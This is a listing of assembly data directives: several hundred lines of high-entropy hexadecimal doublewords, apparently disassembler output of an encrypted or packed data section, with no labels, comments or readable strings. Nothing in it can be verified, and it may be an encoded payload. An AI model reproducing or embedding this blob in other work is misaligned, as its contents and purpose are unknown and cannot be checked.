		dd 0E9B4A6EDh, 6DA4D681h, 75EDE755h, 1021AA83h,	76B928D4h
		dd 7CC111CAh, 0ECF1A16Ah, 0F6B4A1E0h, 31ECC440h, 75E9F785h
		dd 0F57CF1C7h, 225045C7h, 0F75A8977h, 0FEC4D857h, 0F4E7ABB9h
		dd 7ADE0638h, 1F40D786h, 166DAE3Bh, 6696DD7h, 0F776ADECh
		dd 0EDC5C479h, 261146Dh, 7FEEC6D8h, 59E1F7CEh, 0C6AD94CFh
		dd 645A0B1h, 0F72F30F8h, 699259E8h, 255121EDh, 6DA84F75h
		dd 0F73FE7E9h, 0EA37B418h, 0C7496BB1h, 0CC986DF0h, 0CEC6C48Ch
		dd 0E7E7B6EDh, 6DA83279h, 55E4F7F6h, 7EF3EB06h,	0C484B862h
		dd 0F7D1F4ECh, 0ADEE3C7Ah, 8DC7A56Dh, 6DD006D8h, 58B5E7EBh
		dd 0C9EDF006h, 0C46DECE7h, 0E78474F3h, 0BAC17526h, 1F772ADh
		dd 0ADD5C6F0h, 7DE9D797h, 872DCD84h, 0A375E0D7h, 0F7D5ED96h
		dd 0C0C47D6Dh, 24E774F6h, 0F39F3C79h, 8803C754h, 0DF2DD5C7h
		dd 83752DF7h, 6033ADB3h, 0BB9C5D6Ch, 4D5C45ADh,	6DF40524h
		dd 7D6B6032h, 3374B17Eh, 9C5D6F60h, 0E7F82D9Ah,	0D8C545A7h
		dd 42E786BBh, 2DCD84A4h, 75ABE7E1h, 70B784E1h, 0BC0842C7h
		dd 4203ED89h, 0E1C66D20h, 4C4C47EDh, 3A4DF8Bh, 5D67580Dh
		dd 0C5ED983Ch, 856D21D7h, 0F738EDE5h, 0DBC76965h, 0E5E7E3ADh
		dd 0EDE60475h, 71E950B8h, 7EADA53Ch, 0DEA54940h, 50FB6D6Eh
		dd 0DE3E89CAh, 0D5C715B3h, 0AD91AC18h, 0A8CED727h, 0A56DE6C5h
		dd 0C769E5E7h, 709FADC3h, 0FDC66960h, 0E06033B7h, 0BBFA876Dh
		dd 75A7E7F4h, 1A3BE3C5h, 19A452D7h, 5C8FADB6h, 0D5C48440h
		dd 0ADF7D3C2h, 0ADD18649h, 0B0D1E7EAh, 722DED85h, 5205452h
		dd 0E7FA6DE6h, 0EFC555A7h, 0A0D7F173h, 0EDF60475h, 5DA6F7DFh
		dd 0D4FAC604h, 0F06525E7h, 0C726AD93h, 0D2C475A9h, 6B10D4EDh
		dd 2DCDC545h, 41A2E75Dh, 0D1BA7458h, 1E2400C7h,	0F7652D8Eh
		dd 0E7848882h, 4DC7E72Dh, 0F1957F0Ch, 9440D765h, 0D983FBC6h
		dd 4B4F1E7h, 6207EDD5h,	0F1453290h, 0CE1CC042h,	92DE47A0h
		dd 0AB9D6207h, 33ED69BBh, 1965A060h, 509442AEh,	0EE84B010h
		dd 0EDD7DE6Dh, 0EDF54655h, 6563E170h, 322DD846h, 0A3F40960h
		dd 0A3286DA5h, 0F5467D6Bh, 2E91C06Dh, 3AC38645h, 0E877E730h
		dd 81ED9F3Fh, 4F300F7h,	0C729EDD1h, 0D04445AAh,	40A165B2h
		dd 3AD6C45Ch, 55ADC7C7h, 35ADFF86h, 0C47DE5E7h,	0E75A6DE6h
		dd 976C61E4h, 63C75CADh, 6DDB8565h, 4DA08DE3h, 26EDE644h
		dd 659A091h, 6033F4DDh,	8E9C5DE7h, 82C7222Dh, 0ADF506D4h
		dd 64358B6Ch, 0DA747521h, 5F65E4E7h, 0A328ED61h, 0B1FFF036h
		dd 2093216Dh, 0ADBB7D7Dh, 201860BEh, 70ADF684h,	44796BE1h
		dd 0E77F7CC9h, 0DA0569E7h, 2EC7302Dh, 0ADF88575h, 845193AFh
		dd 0FFADEC46h, 77D2518h, 0E722EDE1h, 8D0155E0h,	9BC7D1ADh
		dd 6DB53F28h, 0D4BDF785h, 83B34A21h, 0E371EDE7h, 0D734ED71h
		dd 0F50659EDh, 68C779EDh, 0AD7E6069h, 456EA13Ch, 636DE485h
		dd 47796BB1h, 0B184EDC7h, 0C9C76073h, 0A5F7C52Dh, 0BC88E16Dh
		dd 0B71B24DCh, 9A2DCD06h, 1A752DD7h, 93C02DADh,	0B26075A0h
		dd 0F4D7B174h, 0B481E174h, 5D65D7B8h, 7674B241h, 4648F5F7h
		dd 9398EDEBh, 0A1C161E3h, 0F1E77C73h, 0ADC704B0h, 6D68D729h
		dd 5B6DA5B6h, 46C4F2C7h, 9327ADFAh, 0E4C641E6h,	6BA1FCADh
		dd 0FCEEC779h, 0E3C7A167h, 0E133E2C5h, 8255E681h, 0F786F485h
		dd 61AD652Dh, 0E5E7707Bh, 2D9DE3FCh, 51E591F8h,	0B8C7B572h
		dd 464525F7h, 0F7252DD4h, 0E6C4E8BDh, 0A5F71B6Dh, 6DD0046Dh
		dd 0B493F71Fh, 6ABFF546h, 84F8BB80h, 0D7D8F4D9h, 0F686D4BCh
		dd 6B63BCFCh, 3CF9C761h, 61A3C732h, 0E60C2423h,	0E24CF8D7h
		dd 0B173FF5Bh, 0D30675ADh, 0E0A13839h, 0B7A76F59h, 6562E7A0h
		dd 0E2AD8F19h, 4E46BE7h, 611274E0h, 0BA4C75EAh,	4783767Ch
		dd 2D98A164h, 0E0BDF73Eh, 0CCAD8063h, 6D4F6B3h,	0F75F2DCDh
		dd 0C46FC78Fh, 4EC7DD74h, 0ED9CED54h, 79A2C76Ah, 738CF45h
		dd 3641A5D7h, 59062D91h, 0DB84C0BCh, 9063E92Dh,	0EDDE06F4h
		dd 69A2F7D7h, 0DB30F7C5h, 0C6F8C0D7h, 0C72BEDFDh, 0F9046D24h
		dd 64918D2Dh, 0B1A54375h, 7960F7DBh, 0E79F995Ch, 0CFD58DE7h
		dd 45412D5Dh, 0B46FED4Ch, 0F758CADh, 0AD402FF1h, 59297F4Bh
		dd 7117E404h, 0A3D149E7h, 4510AD2Dh, 0A96E65E7h, 0BC192CEDh
		dd 2DD8C6FCh, 7966B165h, 0B8F6EAC4h, 6E69A5F7h,	0F79D275Bh
		dd 0FDC7C4FFh, 305A6BEh, 2DED079Ch, 0D777F7B3h,	63AD8F0Bh
		dd 46A757D7h, 0E7FF7BFEh, 848375A9h, 0BDE73874h, 6DD14444h
		dd 75232FD5h, 0FCED75C3h, 85645FA3h, 358EADF9h,	0E02BD19Eh
		dd 0AF2D54ADh, 0ED5FCA65h
		dd 0C0583591h, 0E4AD0D40h, 758F8D7h, 0A3A32DD5h, 0F185F0F6h
		dd 6E93282Dh, 0AD762B59h, 7525913Eh, 0C36D9BC3h, 60DBD9E7h
		dd 0BDC4EDA6h, 0B1B76D21h, 6B6D0F3Eh, 0EDF4C749h, 982FB165h
		dd 2FAD9035h, 86C4B6E7h, 71B5FCD2h, 0C50471A5h,	0DEE730EDh
		dd 0F90F2BC5h, 4922F7D6h, 94B48A0Fh, 8A34E2F7h,	619434B2h
		dd 0AED44D23h, 0D4F7146Dh, 32A4BAD9h, 0FEB8B596h, 0C97BE205h
		dd 87656321h, 0BD9C7CF1h, 0E7C75DACh, 2EC726F4h, 0EDEDC471h
		dd 4563E7F1h, 559CFC7h,	7BBEEC7h, 0F7E6ADE0h, 0CFC7A46Eh
		dd 0EEC7B959h, 0F4946134h, 45632350h, 0DF7CF104h, 776968F7h
		dd 0C7E0397Fh, 0C7042428h, 0EFD7D701h, 2D908D14h, 0FCF5C7C6h
		dd 96023A60h, 79E1BA5h,	0F74A39DAh, 0FE84BF6Fh,	0E4B100BCh
		dd 0FABE5769h, 92F7D7BBh, 0AE79D745h, 0E2556392h, 8EEC419Eh
		dd 87176D64h, 18C7E46Dh, 0C841D654h, 8EEC724h, 30EDD0C7h
		dd 2CFCB7ADh, 0C7E76D86h, 4D215418h, 74F7D6ADh,	945E07Ch
		dd 0D84CA3A9h, 0F92DB335h, 8449AAAEh, 0CC5998D2h, 0A3E185FDh
		dd 5DD732ADh, 84FE063Ch, 342AD735h, 2C6D6640h, 0E1C477C7h
		dd 0D783F4F5h, 9681756Dh, 34E7E4B2h, 0FCC54564h, 49A9D0F7h
		dd 0ABB350D5h, 8565A1F7h, 3150ADD3h, 0FCC55521h, 21A09AF3h
		dd 0EDE1C57Dh, 6166D7F5h, 0D9AD9772h, 0C5C48AF7h, 0C0BAFCD5h
		dd 0E3457522h, 29D7DF71h, 7CFE447Dh, 65A5E774h,	166DEE84h
		dd 55D6BE7h, 5D97ADEDh,	0F6C57DA9h, 20B17D3Ch, 0EDC5BA41h
		dd 0F05281A9h, 262DC5C4h, 87DCBC91h, 0AF84ADDCh, 0D484A687h
		dd 0AC10FBF4h, 2DAC006Dh, 652D3CC1h, 86EDE104h,	457561E7h
		dd 61A2B4DAh, 0FDC4796Ah, 6DC7D53Fh, 0ADFCC57Dh, 75E6D772h
		dd 38AD3239h, 0B85166B1h, 0D7ED3087h, 98BCDC32h, 0A5D7E8B1h
		dd 0F36CBC79h, 0ACA2423Eh, 2BADA200h, 85B443E7h, 0C7646DEDh
		dd 0FB466DE2h, 547823B5h, 0B5B34D4Ch, 6DE5E74Ah, 877BFDC5h
		dd 6C857E7h, 6174B4D7h,	0B300E82Ah, 7D7637Ch, 738C7128h
		dd 8B47428Ch, 0C9FBCAC5h, 7FC73621h, 0F154F32Ch, 0A0E3F036h
		dd 2771EA74h, 4B86C949h, 79E9E705h, 0EC74E2C5h,	0C6E044F7h
		dd 0C7F8F1DDh, 0F4C749E7h, 0E8E72F2Dh, 3082E951h, 756DE0A0h
		dd 4FEDF0C7h, 0C5B9CB6Ch, 625EADE4h, 0FB04EC4Ah, 22F7072Dh
		dd 0F6E8C545h, 616EF7E7h, 8847E9C5h, 6AB8FE7h, 21A16DC0h
		dd 0F6467602h, 6D92983Ch, 6DEEC561h, 51A5E7B7h,	892D9A60h
		dd 0A06D6EE7h, 60E8AD55h, 0ADEC7DE6h, 3D8379ADh, 2D7783B4h
		dd 4FBFF73Bh, 0BAD35F8h, 341A0E7h, 0F70D2D8Dh, 878069E6h
		dd 0B6A38BB0h, 0FCD206E4h, 592DF7DFh, 7477B335h, 4E492461h
		dd 0D77B6D46h, 0FDC434C9h, 0A17100ADh, 40CF4755h, 79A0C7CEh
		dd 0FBED95A3h, 3410C9D7h, 2283B4B9h, 0A29B51A7h, 0B7E7ED74h
		dd 74859BBFh, 0B89ED770h, 6A5AA43Bh, 4655A430h,	22D4FCD2h
		dd 0A921C47Ch, 0E0D7702Dh, 7CBFEE7Dh, 0C04561A4h, 0E2ADD184h
		dd 0E159E0D7h, 0D75C7484h, 0B6E371A2h, 0A2E71AADh, 0EDFD4575h
		dd 5163918Dh, 0E344E044h, 84596DF7h, 0D787EDE1h, 849279A6h
		dd 15B3BFBBh, 0B5F385F4h, 6926E786h, 0C9B4CAC5h, 4B598D7h
		dd 0E072EDCAh, 0C247540Eh, 3440AC0Ah, 3AD705ECh, 752DF2DEh
		dd 13EDFBC5h, 45E8BCD2h, 32E3FCCEh, 0DDC7004Bh,	6DF7E4ADh
		dd 2DCE0565h, 6036F725h, 0B1F3BFA9h, 0C57D6D91h, 0D724F8C8h
		dd 0D604DCB6h, 0ED534CADh, 0F4E4447Dh, 65A7C705h, 72DE6C5h
		dd 59085D7h, 0D7FAC7C1h, 0E5056DE5h, 0E0D7152Dh, 0B7A4ED55h
		dd 5125D73Ah, 672DE687h, 854920A1h, 0D725EDE4h,	9C2179E9h
		dd 6AADA1EDh, 2DDAC771h, 6DA52147h, 712D8E20h, 0C36873E7h
		dd 0E7DF3C96h, 97416127h, 0E571F0FBh, 0EDEF0471h, 0C473F747h
		dd 86EDE2C7h, 468880E7h, 0D754EDF0h, 0CDC76DA5h, 6AE795BCh
		dd 7497724Dh, 6DA19DCEh, 2574D4C5h, 47D2AD7h, 0C71AEDE1h
		dd 0AF2179A6h, 0C6E7FE6Dh, 77DD05BEh, 1C88D779h, 0B3EDE184h
		dd 55D6DF7h, 0D7A56DD5h, 0E9844920h, 0A212AA59h, 0B783FC49h
		dd 7DA6D71Ah, 0E8AD8D20h, 98692AC7h, 0C7DFADA6h, 0BB8F6D6Ah
		dd 46E06241h, 2DDD0470h, 0B4CFF774h, 676D83CEh,	0C771682Dh
		dd 99062DFEh, 866B59A6h, 0A240AEF4h, 2D5D6155h,	61E1D786h
		dd 0D8F4C0C5h, 0C569A9C7h, 0A128EDE6h, 7D826924h, 0AAD707EDh
		dd 0EDE04645h, 0C00F7D66h, 346DACCDh, 85D8B1F7h, 436431D8h
		dd 340CCCBBh, 0B7F2E1ADh, 0FB99A174h, 0DCFBF707h, 0DB3493E2h
		dd 0C7ECB6D7h, 170FFE3h, 0ACC95085h, 1C7646Dh, 0B4CCC740h
		dd 0E0BBC772h, 1FBBA06Ch, 479C0602h, 0D7B33CF8h, 88AF8C46h
		dd 256072B7h, 6DD64645h, 428C4366h, 4E6D468Fh, 0FC5B8369h
		dd 0C700F0BDh, 0F3C77485h, 0B7E76FB4h, 0BF9DE2D4h, 647A9156h
		dd 2014DA05h, 44EF02C7h, 490767E6h, 0FEC6696Dh,	8FA265ADh
		dd 774E2F7Ah, 6005C78Dh, 0CFEDAC8Eh, 4645A563h,	5D4E6DC1h
		dd 0F2C4060Dh, 49B12D77h, 0EDD686C4h, 80BFE751h, 5243F307h
		dd 0F46921B2h, 0E7B06DACh, 0A5AD7DA9h, 2DD7262Dh, 0EDE6457Dh
		dd 45621262h, 9BEDDEC5h, 0C77925D7h, 3F7EDFEh, 0A0E07163h
		dd 50E7D2ADh, 0B6FD86C4h, 708D5186h, 0F32DE9C4h, 0A8456921h
		dd 0A0ACB7B6h, 0FD86F450h, 50E7D1B6h, 0B6FD46F4h, 0D450E7DDh
		dd 0DFB6FD46h, 0C47563E7h, 0AC7EADF1h, 0F0464568h, 6343642Dh
		dd 0ADCDC569h, 7E9DE7F5h, 0BAC7E3C6h, 0C4F05DF7h, 50E547E6h
		dd 0B9CD5DA4h, 8E03AF73h, 2DD20704h, 79E10386h,	0B8EDAA21h
		dd 444FFFC7h, 0E7FFEDEDh, 5DCB7521h, 0ECF7DF2Dh, 0FC81CD7Dh
		dd 7019A1E9h, 0CBFFE3C7h, 97D65F7h, 7ED7ED8Eh, 0A81BEF9Eh
		dd 5CD7BE36h, 2D89EA53h, 7563620Fh, 583CDA45h, 217969A1h
		dd 2F036DA9h, 0F3464569h, 0DE03DA2Dh, 0F4D2C4F5h, 6DA2E7CEh
		dd 0B1E4D43h, 97DE4E7h,	0E7CB76BBh, 0D887456Bh,	6FD7DFBAh
		dd 0F4800A55h, 30A5E7CAh, 286D9D61h, 0EF69EE91h, 0E79AB76Dh
		dd 0CB070866h, 0DED73146h, 0F4D2C46Ah, 86E7F77Ch, 3572E644h
		dd 0EB55248Ah, 0E7FFED61h, 6ECB7566h, 26F75337h, 0FC407B23h
		dd 5529E7DFh, 0A86D9D0Ah, 21FC9B2Dh, 0E205268Dh, 0BB0A55AEh
		dd 0E6511776h, 2D511551h, 0A7DEB164h, 822DCD86h, 0C61726F7h
		dd 0D064F4E3h, 0C8C79F2Eh, 0ABC2D541h, 0B76DF961h, 66E77Eh
		dd 7CF1AAEDh, 613066E7h, 43442D99h, 0E446641Bh,	28EEAA76h
		dd 2DBDE17Dh, 5160FE19h, 642D7115h, 1669E8A1h, 0CE11AD6Fh
		dd 0C847ACAAh, 6B616141h, 9C74541h, 6DE73187h, 0A3316456h
		dd 0B40866E7h, 9128ADE4h, 8F8055ADh, 0E6E7E581h, 2DCD6A83h
		dd 51A5E7DFh, 5B07F57h,	440C66E7h, 0E7FFEDE7h, 83025964h
		dd 6BC75E7Eh, 0F4E34637h, 649F406Bh, 4CF9DD46h,	91596633h
		dd 0F7D53153h, 0B861308Fh, 0D3257F38h, 2D8DE1FFh, 0BEBC80Ch
		dd 0C16D95EEh, 87748192h, 0E7FF78F5h, 5FD561A4h, 6BC7D6BFh
		dd 3628170Fh, 13EBC7C7h, 8C6DA1EAh, 4438FE7Ch, 0E7E140D9h
		dd 0D2C6BF33h, 6BC7CDF4h, 0BBB52C8Dh, 9766E7B2h, 9608C484h
		dd 33552611h, 0AA5EED61h, 0D1F24D62h, 0A672E5B1h, 0ED513545h
		dd 55A49A9Dh, 0A5ED6533h, 2179E9EEh, 0C45FADAAh, 0E5C6A7EAh
		dd 0EA8A9333h, 0FFEA064Dh, 51E9E7B6h, 796DAC01h, 0E8612171h
		dd 0D7E4ADADh, 63B9796Bh, 0E0E787B4h, 0B4E8C575h, 0E49749BDh
		dd 57BFB85h, 655A3F7h, 5DFB74F8h, 0EB06E4DEh, 0DE91E203h
		dd 42E106F4h, 0FC45E729h
		dd 34EDE4C4h, 79A0DCE7h, 0F787FFA3h, 42BF492Eh,	4F10B173h
		dd 3371BFAFh, 6D65C7DBh, 0D0ED70F8h, 0ED65ECC7h, 0D714ED9Eh
		dd 0F4047120h, 344A83EDh, 0ADC704CCh, 0E4B0B161h, 0E5F69CA3h
		dd 41F0B633h, 22D4BF95h, 87DE4168h, 4B637F97h, 2DF585B0h
		dd 716D5297h, 972DC505h, 88DC3462h, 8158B6B3h, 9A0CE49Bh
		dd 72E7502Dh, 0ADD1C5F4h, 55A4BD81h, 0A32383A1h, 6382C32h
		dd 0E7232DFDh, 0DAC465E9h, 0A52F2D3Fh, 0C68EA16Dh, 6120C207h
		dd 31ADF2C4h, 0FD696DF7h, 0E7FE2D8Dh, 22E30850h, 6BB179EDh
		dd 3BE6474Dh, 0E035029Dh, 7ADD444h, 44452712h, 0F7316DE5h
		dd 81E1DC9Dh, 13F77C2Dh, 74D4C504h, 7563E7A9h, 0F1BAD604h
		dd 0C741A3C7h, 0E72EADD2h, 0DC86656Bh, 2D7D7FBAh, 0EDDE8459h
		dd 9DD731h, 0A2DCD05h, 0C5BF52F7h, 0F7DBADCDh, 0A6EB71EDh
		dd 7E752EDh, 0BADC07E4h, 0F09971A1h, 0FF3BE6C7h, 1869EEE7h
		dd 0C7A8F4BBh, 0ADE06405h, 0FC6191ADh, 2DCE8648h, 0FC34E7ABh
		dd 9BAA6B4h, 0AA652A21h, 0C7C2F452h, 0B2565085h, 78A162ADh
		dd 0ED7DFAE0h, 79A85391h, 0FA1A72BFh, 437485C7h, 0C7A56D96h
		dd 0F686E435h, 0AE7B33Ch, 34CB3CC0h, 4C47F7EDh,	7EADED44h
		dd 45456361h, 605442DFh, 0AD208755h, 64D7B8ADh,	0B69F9F79h
		dd 41E7E77Fh, 5AED9BA0h, 0AECBBFE3h, 0E764AD91h, 0C50451EDh
		dd 14D7452Dh, 1BCCC51Bh, 5128D7DFh, 0FAE21F21h,	0B65A5F7h
		dd 0E7B9B49Bh, 0DA444DE4h, 2CE7A835h, 6D9C5B71h, 93D8C7B2h
		dd 726DE107h, 4771EA52h, 0F7EFF4CDh, 846155ECh,	0B2D7C96Dh
		dd 0EDAB9E5Ch, 0C477A9F8h, 1F7CEF05h, 659E1D7h,	0E707EDD5h
		dd 813455E1h, 21BDFAADh, 0ADCD0645h, 0E0B77165h, 4530C284h
		dd 7EC4F583h, 0B34764B2h, 9A0D2C2Bh, 28E7882Dh,	0AD442C5Dh
		dd 97F789AAh, 1AB4E144h, 60ECF4E7h, 8579A4CFh, 0EFE3ED72h
		dd 7C854164h, 0ADE746C9h, 0F53FA5CCh, 9B2D4523h, 0A3C17EC7h
		dd 0F70704EFh, 6BA269ADh, 0EEC7DF3Ch, 0ADBC065Dh, 0FF38D7B3h
		dd 1C7ED346h, 0C4656EAFh, 0A3BA6DEAh, 0ED457523h, 0E4E7DF6Dh
		dd 0F4EEC741h, 6DA0E78Dh, 0F3ADB34Eh, 4761E321h, 4345ADFDh
		dd 81EFFF33h, 6B2109ADh, 9C9FCC65h, 71E06D00h, 0FF739AE3h
		dd 856D26E7h, 0F7B8EDF0h, 0E544D44Fh, 0E5E774EDh, 2D96B2F8h
		dd 0B094813Fh, 2FADD185h, 45741B83h, 0C7F7ADCDh, 0FE46C7CBh
		dd 1ED779ADh, 6DAF2943h, 41A5F7F6h, 0B46DA92Ch,	65920E7h
		dd 0F7C42DA3h, 0DA8451A1h, 0E1E7E53Dh, 0ED8D615Dh, 4DABD779h
		dd 0A8ADC544h, 44452FA1h, 0E7742DFDh, 0C546049Dh, 89A34FADh
		dd 0ADA2214Ch, 0E075D73Fh, 80B0DE86h, 0CEEB0841h, 0A16B2DB9h
		dd 0A7434DA1h, 63C7E2F4h, 7E1C541h, 45A1D72Eh, 64ED442Eh
		dd 0E4F48323h, 816B2DBEh, 0E82E51A7h, 0D62364EDh, 0EDD1C5E4h
		dd 4DE26144h, 0A8EDE444h, 0CE69E2A1h, 916B6D8Ah, 0CB2E51A5h
		dd 0D101772Dh, 77E3C5C3h, 0D751C7F2h, 933FE684h, 46C476C7h
		dd 6DD1ADC6h, 0EC444527h, 6E2C886Dh, 7EE0C475h,	80E94F8Dh
		dd 26BCA60Fh, 671ADE7h,	0D2B3EDE6h, 0E3C4656Eh,	6FEEB3EDh
		dd 7FC10669h, 7520F236h, 0CFBEDB06h, 0C4C712F7h, 0A1ACADE0h
		dd 0E804656Bh, 9CC71466h, 2D0D4BE7h, 0DF5FD7EBh, 0DB86D886h
		dd 0C4CB9EF7h, 0D74D66E8h, 76EAC9D9h, 88330FEDh, 2DBDAE54h
		dd 456D230Dh, 5FADA9AEh, 46D2563h, 0A1A82DCAh, 0E1444521h
		dd 0A94D97ADh, 0ADFDC471h, 61EF1108h, 3D74B755h, 6E4DC51h
		dd 0E74ABCD9h, 0CEC5512Fh, 0ECE70BBCh, 77B00851h, 4128C7EFh
		dd 38F171BAh, 0C7D09ED7h, 2BEADC8h, 0B02320D4h,	0ABC7E677h
		dd 0ED6EEA49h, 6D642FB8h, 664E220h, 6E0DC9Fh, 0E71ABCD9h
		dd 0C1C575E2h, 24618074h, 2D79D455h, 30E15213h,	9FADE5C7h
		dd 5043EF7h, 0F7970FECh, 61D4BEEDh, 76C287ADh, 79E407F8h
		dd 26E29F86h, 8D49C584h, 0E12CEDF7h, 8540ED95h,	602AC73Ch
		dd 48DCE8EDh, 0F85AC5Ch, 68D79Fh, 54ED9E6Eh, 4671E2C7h
		dd 0E7716DDBh, 0B0404924h, 0E2F7EB77h, 0ED941159h, 9CADD021h
		dd 5B3FC2C6h, 3651E1F0h, 0C7152D4Dh, 0B5166475h, 0AAF741EDh
		dd 0FCAF730Bh, 4163E2B0h, 0E9EDEB45h, 1651A1ECh, 0C742C0B1h
		dd 95304075h, 0E9ADF5ADh, 3FE6C575h, 0FCC9D7CEh, 992D07EBh
		dd 5421DC7h, 0D7FF7BE1h, 0CD6BE75Ch, 0EAC7CC76h, 0AD8F6049h
		dd 0BCB0E7FFh, 4B2D8D49h, 85A171E7h, 514A0F4h, 8D507522h
		dd 9EF7CDADh, 6D74700Bh, 556BA4F7h, 57A0B100h, 5075A03Fh
		dd 0F738B4ADh, 0D1C559E5h, 6383FA72h, 0D0C10455h, 4560E7FFh
		dd 8607DDC4h, 0E149E3F7h, 0D7D1AD8Dh, 7D3565A5h, 0D4E71F2Dh
		dd 3998A3EFh, 65A2B16Bh, 0C17EBA92h, 0D74DA8C7h, 9E572DBDh
		dd 0A79265E3h, 6AC7ECF4h, 2DFE0588h, 0D458631Ch, 9FE0C7C5h
		dd 2055E0C7h, 0F7F5F969h, 0EA874B49h, 20C8A23Fh, 71736Dh
		dd 8778CAAEh, 44775315h, 0C16C95C7h, 9504A497h,	0F385E23Dh
		dd 6BBD4264h, 0A1D58545h, 55626180h, 5306EE46h,	8E65E3E7h
		dd 0BD426473h, 0DF44E4B6h, 0A3D749F4h, 3FA6E149h, 0F48C7000h
		dd 890EEF87h, 312CCDD7h, 0B3CAAD89h, 0E1C7716Dh, 6B330D6Dh
		dd 3DDB8459h, 86EAB03Ch, 0B7ADD544h, 0DF2B79D7h, 0D773AD8Dh
		dd 7F356564h, 0EF232701h, 38801675h, 65634205h,	0FFD0EB04h
		dd 0DE4DEBE7h, 4CD1AD47h, 0D5C54D20h, 0E9D7FAC1h, 6D659255h
		dd 0CC7682A1h, 0C403F5C4h, 0C43727D7h, 8C546DF8h, 512E4561h
		dd 266E05EDh, 2DD94445h, 0ABE6E7E1h, 1CE05A36h,	0CB5D2BD7h
		dd 0E775AD51h, 84BA9B0h, 12C7D96Dh, 0EDEA8654h,	0A7F4ECE9h
		dd 0CB2D0D4Fh, 852AD1D7h, 0B0DA0F1h, 0BE984922h, 0ED91E1ADh
		dd 0ADDDC671h, 0F4B1B121h, 5EDE145h, 0C7C8BCF7h, 304A2DE3h
		dd 0A7BB5412h, 3D7E42Dh, 0BED8C4B0h, 65A083A0h,	6B2D8D61h
		dd 0A15412F7h, 0C7E3B4B7h, 0DD85F4F0h, 0F0914A42h, 2D916147h
		dd 0C037E7C1h, 72EDE3C7h, 0C66D20F7h, 213AEDF1h, 613B71EDh
		dd 0E5D77FEDh, 0BED84445h, 349CF7D5h, 4A2DCD85h, 5B702AD7h
		dd 0D7646DAEh, 0D9C5CFF1h, 19C7D97Fh, 2DA69B00h, 9C9C02CBh
		dd 24C4A223h, 85B0E9BDh, 8347EDEDh, 81FD41E9h, 0E4A1A8BCh
		dd 32A62F55h, 0A8598069h, 512D8DA0h, 0BA7440F7h, 0A5E4F4BEh
		dd 0A1A1F535h, 349520EDh, 0DCCA61F9h, 0E0330C8Eh, 12F44941h
		dd 3B2064C7h, 0F7746DA8h, 0A70951E5h, 6AE707FFh, 0AD324051h
		dd 7D23C7DFh, 70B9B000h, 460459E1h, 932E6DCAh, 9D1B61A0h
		dd 2013AE34h, 32B6BB55h, 75E58125h, 21FCA1E1h, 0DA5D2AA3h
		dd 0F7B1048Fh, 0E8C749E0h, 77C7E0ADh, 0B7996178h, 712AE7B6h
		dd 0B12D992Dh, 0EF7DE0E7h, 8D2C2D9Dh, 0E7C642BEh, 7B10A92Dh
		dd 72C3C547h, 0D0FF21C3h, 176DD905h, 846968DCh,	0F7682DDAh
		dd 0D984516Dh, 0A8D71A2Dh, 0AD93AD41h, 0E4B5E770h, 0F12D9D61h
		dd 4294DBF7h, 0D7DB77B0h, 9F4F756Ah, 0C5B9E034h, 0EDDD04F4h
		dd 716AA115h, 976DA0AEh, 4561A2C7h, 0E7B06DEEh,	0F1C74D65h
		dd 66C721EDh, 0EDE08775h, 49A27D61h, 2BADE6C5h,	0C55520F7h
		dd 0C724ADD0h, 0CEC4E487h, 0BAD7202Dh, 2DA476FCh, 6128D779h
		dd 0E434E8C5h, 86F844A3h, 0E7B4EDDCh, 0CF046D2Ah, 20516C6Dh
		dd 34C78449h, 0E334E7E7h, 29ADB2E2h, 0C7C03CD7h, 0E7DAADD8h
		dd 0EC06C403h, 6DF76A6Dh, 0B1D0045Dh, 60C920D6h, 2BAD99EDh
		dd 6DFF39D7h, 0D7FAAD8Dh, 0F5C4644Dh, 63E730ADh, 7FECC755h
		dd 7DA1C787h, 7B2D9D0Ch
		dd 61796459h, 0E7072D99h, 0F0C75165h, 0E0C7DBADh, 0ADB46169h
		dd 4C02F7E2h, 50F4C2C5h, 847D65A1h, 538D47CFh, 0D1C67966h
		dd 8FE764ADh, 0EDAD4FCCh, 0D80E5349h, 4F27E484h, 3AACDC91h
		dd 5B55FFBAh, 0A52C71EDh, 2A5195EDh, 2DD94571h,	4E3E737Bh
		dd 0BA6D4954h, 4471ED13h, 23652DD9h, 0AD20456Ah, 8F1102EDh
		dd 778E22FBh, 7402F7F7h, 0DAF4C504h, 84D445C7h,	918C7FECh
		dd 0C94445E0h, 8C5387ADh, 0ADFC04D5h, 0B3D9C770h, 202DFD85h
		dd 0C7F072B3h, 0E7F82DD3h, 0D2C55961h, 0CF71AE6Dh, 0ED5D6F43h
		dd 612753BAh, 0D404A34Fh, 0C51E66Dh, 5F8DEDBAh,	0D845E78Eh
		dd 0CEC7A1BFh, 7F866174h, 69E53B3Eh, 0A0F6D2C4h, 8179A8E7h
		dd 738DADBBh, 78CEF908h, 0E9531427h, 2DCE8449h,	0EC87C765h
		dd 0A7FC9162h, 0B844DADh, 0C7D62D8Dh, 921130C7h, 64D7D32Dh
		dd 4498EC6Dh, 0C4B8A32Ch, 61F7EEC5h, 61E458D7h,	608537A1h
		dd 0A92079ADh, 0A231352Dh, 0F7C3C569h, 7DADF715h, 2437A7E1h
		dd 84E4BCD7h, 7513EDE1h, 0AE2CEF89h, 5BD7146Dh,	0EDA16AFCh
		dd 616B516Ch, 6A74C545h, 457DEDD7h, 4189C7FBh, 462BF88Eh
		dd 1BE7A1F4h, 37ED84E5h, 5920D764h, 0F4ED5C5Ah,	4B49CD7h
		dd 812DEDCEh, 0D9C76B5Dh, 4BC028ADh, 42F085CCh,	0E0C5392Bh
		dd 0A6AD90BAh, 716163E7h, 0E7C5EDA2h, 9ADC516Bh, 0DFD02135h
		dd 466EA12Fh, 75E0F715h, 0F92DA9A1h, 0C769A3CCh, 0E725EDDBh
		dd 0EDC555A2h, 0A3CC387Eh, 0EDE3C679h, 0FC72E725h, 5077B115h
		dd 3B24E663h, 0C7052D94h, 0A66255A3h, 5EC7766Dh, 2DA9F7CCh
		dd 45E46F81h, 67EDF446h, 6348B2D7h, 0D2432DA6h,	9477556Dh
		dd 58712744h, 3AAF3C30h, 44B4D7DAh, 216DED44h, 8530A9E7h
		dd 934B6DE1h, 0DD865D6Bh, 62D7336Dh, 0B1BBA145h, 0E47B339Dh
		dd 3178C785h, 44CCA0C7h, 61E1ADE5h, 861F51ABh, 65E2D7FCh
		dd 11940C4Dh, 512A9059h, 7CED7BBDh, 0C732C7D7h,	41BDADC2h
		dd 0EC06FCBAh, 72C7B86Dh, 0ADCDC7F0h, 0C445832Eh, 8371E946h
		dd 847DA0C0h, 0B15AF0FBh, 0FAC445A6h, 6A7231ADh, 0BFDF0597h
